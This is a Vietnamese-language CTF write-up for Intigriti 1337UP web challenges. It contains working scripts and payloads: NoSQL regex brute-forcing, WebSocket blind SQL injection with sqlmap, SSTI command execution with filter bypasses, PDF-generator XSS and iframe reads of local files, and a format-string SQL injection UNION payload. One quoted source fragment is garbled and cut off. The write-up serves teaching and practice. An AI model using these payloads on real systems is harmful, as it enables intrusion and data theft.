Try   HackMD

Keywords

Link: https://ctf.intigriti.io/challenges

CTFC

NoSQL injection

import string
import requests

LETTER = string.ascii_letters+string.digits+'_}{?!@#$%^&*()'

url = "https://ctfc.ctf.intigriti.io/submit_flag"
cookies = {"session": "eyJ1c2VyIjp7Il9pZCI6IjdmNDUwNWUzYThjMzQ4MzZiNGU5Mjg5ZGNiMjllZmE3IiwidXNlcm5hbWUiOiJhYmMifX0.ZYfu-g.79-xpgDupy-Otu4w_a3MVT_d0UU"}
length = 0
for i in range(51):
    data = {"_id":"_id:3","challenge_flag":{"$regex": f".{{{i}}}" }}
    response = requests.post(url, json=data, cookies=cookies)
    if "correct" in response.text:
        length = i
    else:
        break

    print(f"length = {length}")
print(f"flag length = {length}")
flag = ''
for j in range(length):
    for i in LETTER:
        data = {"_id":"_id:3","challenge_flag":{"$regex": f"^{flag+i}" }}
        print(flag+i)
        response = requests.post(url, json=data, cookies=cookies)
        if "correct" in response.text:
            flag += i
            print(flag)
            break

Bug Bank

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Smarty Pants

Regex:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/
<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
	global $pattern;
	return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

Bypass regex use CRLF (%0d%0a)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Bug Report Repo

IDOR

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Cách 1: Sử dụng tool sqlmap

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
Vì sqlmap không hỗ trợ ws:// nên cần tạo server http trung gian để kết nối.
Script:

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import websocket
import threading

# ws_server = "ws://localhost:8156/ws"
ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"

def send_ws(payload):
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message
	res = None
	def ws_thread():
		nonlocal res
		try:
			ws = websocket.create_connection(ws_server)
			ws.send(data)
			res = ws.recv()
			ws.close()
		except Exception as e:
			print("WebSocket Error: ", e)

	ws_thread = threading.Thread(target=ws_thread)
	ws_thread.start()
	ws_thread.join(timeout=15)
	if res:
		return res
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				if payload.startswith('-'):
					content = 'Skipped request due to negative "id"'
				else:
					content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			if content:
				self.wfile.write(content.encode())
			else:
				self.wfile.write(b"Error in WebSocket connection")

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

Khai thác bằng sqlmap:

sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

Offical wu (CryptoCat): https://www.youtube.com/watch?v=kgndZOkgVxQ&list=PLmqenIp2RQciRpl2GvZv1kQUq-INq7XvH&index=6

Cách 2: Brute-force trực tiếp

https://www.youtube.com/watch?v=fMrFxI4xXQc
Script:

import string
import base64
import websocket

def sqli(ws, q_left, chars):
    data = """{"id":"11 and (%s= '%s')"}""" % (q_left, chars)
    ws.send(data)
    temp = ws.recv()
    return "Open" in temp
def exploit_websockets(TARGET):
    dumped = ""
    ws = websocket.create_connection(TARGET)
    try:
        sql_template = "Select substr(description, %s, 1)"
        i = 1
        while True:
            for chars in string.printable:
                if sqli(ws, sql_template % i, chars):
                    dumped+=chars
                    print(dumped)
                    i+=1
                    break
    finally:
        ws.close()
if __name__ =="__main__":
    TARGET = "wss://bountyrepo.ctf.intigriti.io/ws"
    exploit_websockets(TARGET)

Kết quả:
crypt0:c4tz on /4dm1n_z0n3, really?!
=>Login

Crack JWT

Sử dụng jwt_tool:

image

image

Pizza Time

image

Bài chỉ có chức năng /order và hiển thị ra thông tin, không SQLi chắc cũng nghĩ đến SSTI (•_•)

Nhưng bất kỳ ký từ nào từ {}<>'"... cũng bị filter.
=>Bypass vẫn là dùng CRLF để xuống dòng. (chắc filter bằng regex)

image

Test vài cái nữa dễ dàng biết được xài template Jinja2.
Dùng payload RCE thì ăn ngay:

image

Nhưng bị filter space:

image

Bypass bằng ${IFS}:

image

My Music

Sau khi biết được có thể gen PDF, test:

image

Kết quả:

image

=> Server-side XSS

Sau 1 hồi test payload trên Server Side XSS (Dynamic PDF) - HackTricks. Tìm được payload:

  • <script>document.write("abc")</script> thực thi được JS:

image

  • <iframe src="file:///etc/passwd"></iframe> có thể đọc được local file:

image

Nhưng flag lại không phải là /flag.txt hay /flag, (¬_¬ ). Thử đọc vài file local để khai thác LFI nhưng vẫn không thấy gì.

=> Đọc source Offical wu (CryptoCat): https://ctftime.org/writeup/38300

༼ つ ◕_◕ ༽つ

  • Sử dụng <script>document.write(location.href)</script> xem file hiện tại:

image

Dễ đoán được /app/app.js và đọc nó bằng <iframe src="file:///app/app.js" width="500" height="500"></iframe>, được:

const express = require('express')
const { engine } = require('express-handlebars')
const cookieParser = require('cookie-parser')
const { auth } = require('./middleware/auth')
const app = express()
app.engine('handlebars', engine())
app.set('view engine', 'handlebars')
app.set('views', './views')
app.use(express.json())
app.use(cookieParser())
app.use(auth)
app.use('/static', express.static('static'))
app.use('/', require('./routes/index'))
app.use('/api', require('./routes/api'))
app.listen(3000, () => {
 console.log('Listening on port 3000...')
})

Tương tự:

  • /app/routes/index.js:
const express = require('express')
const { requireAuth } = require('../middleware/auth')
const { isAdmin } = require('../middleware/check_admin')
const { getRandomRecommendation } =
require('../utils/recommendedSongs')
const { generatePDF } =
require('../utils/generateProfileCard')
const router = express.Router()
router.get('/', (req, res) => {
 const spotifyTrackCode = getRandomRecommendation()
 res.render('home', { userData: req.userData,
spotifyTrackCode })
})
router.get('/register', (req, res) => {
 res.render('register', { userData: req.userData })
})
router.get('/login', (req, res) => {
 if (req.loginHash) {
 res.redirect('/profile')
 }
 res.render('login', { userData: req.userData })
})
router.get('/logout', (req, res) => {
 res.clearCookie('login_hash')
 res.redirect('/')
})
router.get('/profile', requireAuth, (req, res) => {
 res.render('profile', { userData: req.userData, loginHash:
req.loginHash })
})
router.post('/profile/generate-profile-card', requireAuth,
async (req, res) => {
 const pdf = await generatePDF(req.userData,
req.body.userOptions)
 res.contentType('application/pdf')
 res.send(pdf)
})
router.get('/admin', isAdmin, (req, res) => {
 res.render('admin', { flag: process.env.FLAG ||
'CTF{DUMMY}' })
})
module.exports = router
  • /app/routes/api.js
const express = require('express')
const { body, cookie } = require('express-validator')
const {
 addUser,
 getUserData,
 updateUserData,
 authenticateAsUser,
} = require('../controllers/user')
const router = express.Router()
router.post('/register',
 body('username').not().isEmpty().withMessage('Username cannot be empty'),
 body('firstName').not().isEmpty().withMessage('First name cannot be empty'),
 body('lastName').not().isEmpty().withMessage('Last name cannot be empty'),
 addUser
)
router.post(
 '/login',
 body('loginHash').not().isEmpty().withMessage('Login hash cannot be empty'),
 authenticateAsUser
)
router
 .get('/user', getUserData)
 .put(
 '/user',
 body('firstName')
 .not()
 .isEmpty()
 .withMessage('First name cannot be empty'),
 body('lastName')
 .not()
 .isEmpty()
 .withMessage('Last name cannot be empty'),
 body('spotifyTrackCode')
 .not()
 .isEmpty()
 .withMessage('Spotify track code cannot be empty'),

cookie('login_hash').not().isEmpty().withMessage('Login hash required'), updateUserData )
module.exports = router
  • /app/controllers/user.js
const {
    createUser,
    getUser,
    setUserData,
    userExists,
} = require('../services/user')
const {
    validationResult
} = require('express-validator')
const addUser = (req, res, next) => {
    const errors = validationResult(req)
    if (!errors.isEmpty()) {
        return res.status(400).send(errors.array())
    }
    const {
        username,
        firstName,
        lastName
    } = req.body
    const userData = {
        username,
        firstName,
        lastName,
    }
    try {
        const loginHash = createUser(userData)
        res.status(204)
        res.cookie('login_hash', loginHash, {
            secure: false,
            httpOnly: true
        })
        res.send()
    } catch (e) {
        console.log(e)
        res.status(500)
        res.send('Error creating user!')
    }
}
const getUserData = (req, res, next) => {
    const errors = validationResult(req)
    if (!errors.isEmpty()) {
        return res.status(400).send(errors.array())
    }
    const {
        loginHash
    } = req.body
    try {
        const userData = getUser(loginHash)
        res.send(JSON.parse(userData))
    } catch (e) {
        console.log(e)
        res.status(500)
        res.send('Error fetching user!')
    }
}
const updateUserData = (req, res, next) => {
        const errors = validationResult(req)
        if (!errors.isEmpty()) {
            return res status(400) send(errors array())
  • /app/services/user.js:
const fs = require("fs");
const path = require("path");
const { createHash } = require("crypto");
const { v4: uuidv4 } = require("uuid");
const dataDir = "./data";
const createUser = (userData) => {
    const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
    fs.writeFileSync(
        path.join(dataDir, `${loginHash}.json`),
        JSON.stringify(userData)
    );
    return loginHash;
};
const setUserData = (loginHash, userData) => {
    if (!userExists(loginHash)) {
        throw "Invalid login hash";
    }
    fs.writeFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        JSON.stringify(userData)
    );
    return userData;
};
const getUser = (loginHash) => {
    let userData = fs.readFileSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`),
        {
            encoding: "utf8",
        }
    );
    return userData;
};
const userExists = (loginHash) => {
    return fs.existsSync(
        path.join(dataDir, `${path.basename(loginHash)}.json`)
    );
};
module.exports = { createUser, getUser, setUserData, userExists };

Quan sát:

const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
    path.join(dataDir, `${loginHash}.json`),
    JSON.stringify(userData)
);

Như vậy userData được lưu ở /app/data/[loginHash].json, đồng thời userData cũng được lấy ra để sử dụng từ file này.

Xem file /app/routes/index.js biết được flag có trong check_admin.js

  • /app/middleware/check_admin.js:
const { getUser, userExists } = require("../services/user");
const isAdmin = (req, res, next) => {
    let loginHash = req.cookies["login_hash"];
    let userData;
    if (loginHash && userExists(loginHash)) {
        userData = getUser(loginHash);
    } else {
        return res.redirect("/login");
    }
    try {
        userData = JSON.parse(userData);
        if (userData.isAdmin !== true) {
            res.status(403);
            res.send("Only admins can view this page");
            return;
        }
    } catch (e) {
        console.log(e);
    }
    next();
};
module.exports = { isAdmin };

Để thành admin cần thuộc tính isAdmin vào userData.
Tuy nhiên, xem kỹ lại:

try {
    userData = JSON.parse(userData);
    if (userData.isAdmin !== true) {
        res.status(403);
        res.send("Only admins can view this page");
        return;
    }
} catch (e) {
    console.log(e);
}
next();

Nếu userData = JSON.parse(userData); không parsed được nghĩa là nó sẽ không đi vào đây: res.status(403); và vậy thì middleware này đi tiếp vào next() => truy cập /admin thành công.
Quan sát /app/routes/index.js:

router.post('/profile/generate-profile-card', requireAuth,
    async (req, res) => {
        const pdf = await generatePDF(req.userData, req.body.userOptions)
        res.contentType('application/pdf')
        res.send(pdf)
    })

Tiếp tục đọc file: /app/utils/generateProfileCard.js:

const puppeteer = require("puppeteer");
const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const Handlebars = require("handlebars");
const generatePDF = async (userData, userOptions) => {
    let templateData = fs.readFileSync(
        path.join(__dirname, "../views/print_profile.handlebars"),
        {
            encoding: "utf8",
        }
    );
    const template = Handlebars.compile(templateData);
    const html = template({ userData: userData });
    const filePath = path.join(__dirname, `../tmp/${uuidv4()}.html`);
    fs.writeFileSync(filePath, html);
    const browser = await puppeteer.launch({
        executablePath: "/usr/bin/google-chrome",
        args: ["--no-sandbox"],
    });
    const page = await browser.newPage();
    await page.goto(`file://${filePath}`, { waitUntil: "networkidle0" });
    await page.emulateMediaType("screen");
    let options = {
        format: "A5",
    };
    if (userOptions) {
        options = { ...options, ...userOptions };
    }
    const pdf = await page.pdf(options);
    await browser.close();
    fs.unlinkSync(filePath);
    return pdf;
};
module.exports = { generatePDF };

Quan sát:

if (userOptions) {
    options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);

Lúc tạo PDF có thể thêm 1 số options và ở đây nó sử dụng spread trong js để gộp thêm userOptions (nếu có) vào options ban đầu.
Ý tưởng sẽ dùng option path để ghi đè file chứa userData => parse gẫy lỗi và truy cập được vào /admin

image

Kết quả:

image

OWASP

Wu: https://github.com/arthepsy/ctf/blob/main/writeups/2023-intigriti-1337up/owasp.md

Recon

  • Leak file backup:

image

Source search.php:

<?php
require_once('db.php');
$flag = file_get_contents('/flag.txt');
@include('header.php');

//build sql query
$sql = 'select * from owasp';
$sql_where = '';
foreach ($_REQUEST as $field => $value){
    if ($sql_where) $sql_where = " AND $sql_where";
    $sql_where = "position(%s in $field) $sql_where";
    try {
        $sql_where = @vsprintf($sql_where, Array("'". sqlesc($value) . "'"));
    } catch (ValueError | TypeError $e) {
        $sql_where = '';
    }
    if (preg_match('/[^a-z0-9\.\-_]/i', $field)) die ('Hacking attempt!');
}
$sql .= ($sql_where)?" where $sql_where":'';

foreach(sqlquery($sql) as $row){
    @include('row.php');
    $config = json_decode($row['config'], true);
}

if (isset($config['flag']) && $config['flag']){
    $url = $config['url'];
    // no printer manufacturer domains
    if (preg_match('/canon|epson|brother|hp|minolta|sharp|dell|oki|samsung|xerox|lexmark/i', $url)) die('Looks like a printer!');
//  $url = 'https://www.youtube.com/watch?v=2U3Faa3DejQ';
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        $http_resp = file_get_contents($url);
        var_dump($http_resp);
        if ($flag === $http_resp){
            die('Yes! You got the right flag!');
        }
        die('Wrong flag');
    }
    else {
        die('URL does not start with HTTP or HTTPS protocol!');
    }
}

@include('footer.php');
  • param có thể dùng:
ID                      
Id 
Title 
config
description 
id 
null  

Như vậy việc build sql query bằng cách duyệt qua các các cặp param (field-value) trong từng vòng lặp.
Ví dụ:

  • Với ?title=a, query đầy đủ sẽ là: select * from owasp where position('a' in title).
  • Với ?title=a&id=1, query sẽ là select * from owasp where position('1' in id) AND position('a' in title).

Exploit

Truyền value vào query được sử dụng bởi vsprintf với format string, lợi dụng điều này để ta khai thác.
Việc inject vào format string mình từng gặp trong bài ctf này: DownUnderCTF 2023 - Smooth Jazz (SQL Injection)
Đó là việc dùng %1$s, 1 tức là lấy đối số thứ nhất để truyền vào, việc dùng cái này sẽ không bị lỗi như việc dùng %s ... %s do chỉ được truyền 1 giá trị.
=> Payload: ?id=%1$s&title=in title) or 1=1 -- -
giá trị thứ nhất %1$s sẽ được truyền vào trong vòng lặp thứ 2: position(%s in id) AND position('%1$s' in title)
và giá trị thứ 2 in title) or 1=1 -- - sẽ được truyền vào %s ở trên, khi đó query đầy đủ là:
select * from owasp where position('in title) or 1=1 -- -' in id) AND position(''in title) or 1=1 -- -'' in title)

Khai thác qua union:

image

Việc validate url bằng filter_var($url, FILTER_VALIDATE_URL)

Một số hợp lệ:

http://test???test.com
http://test???test.com/path/?t=1
http://test@google.com
javascript://comment%0Aalert(1)
javascript://%0Aalert(document.cookie)
http://example.ee/sdsf"f
http://https://example.com
a://google.com
file:///etc/passwd
...

Ta sẽ dùng file:///flag.txt để get flag.
Json dùng sẽ là {"flag":1,"url":"file:///flag.txt"}.
Payload cuối cùng ?id=%1$s&title=in title) UNION SELECT 1,1,1,0x7b22666c6167223a312c2275726c223a2266696c653a2f2f2f666c61672e747874227d-- -

image

E-Corp

Offical Wu: https://ctftime.org/writeup/38279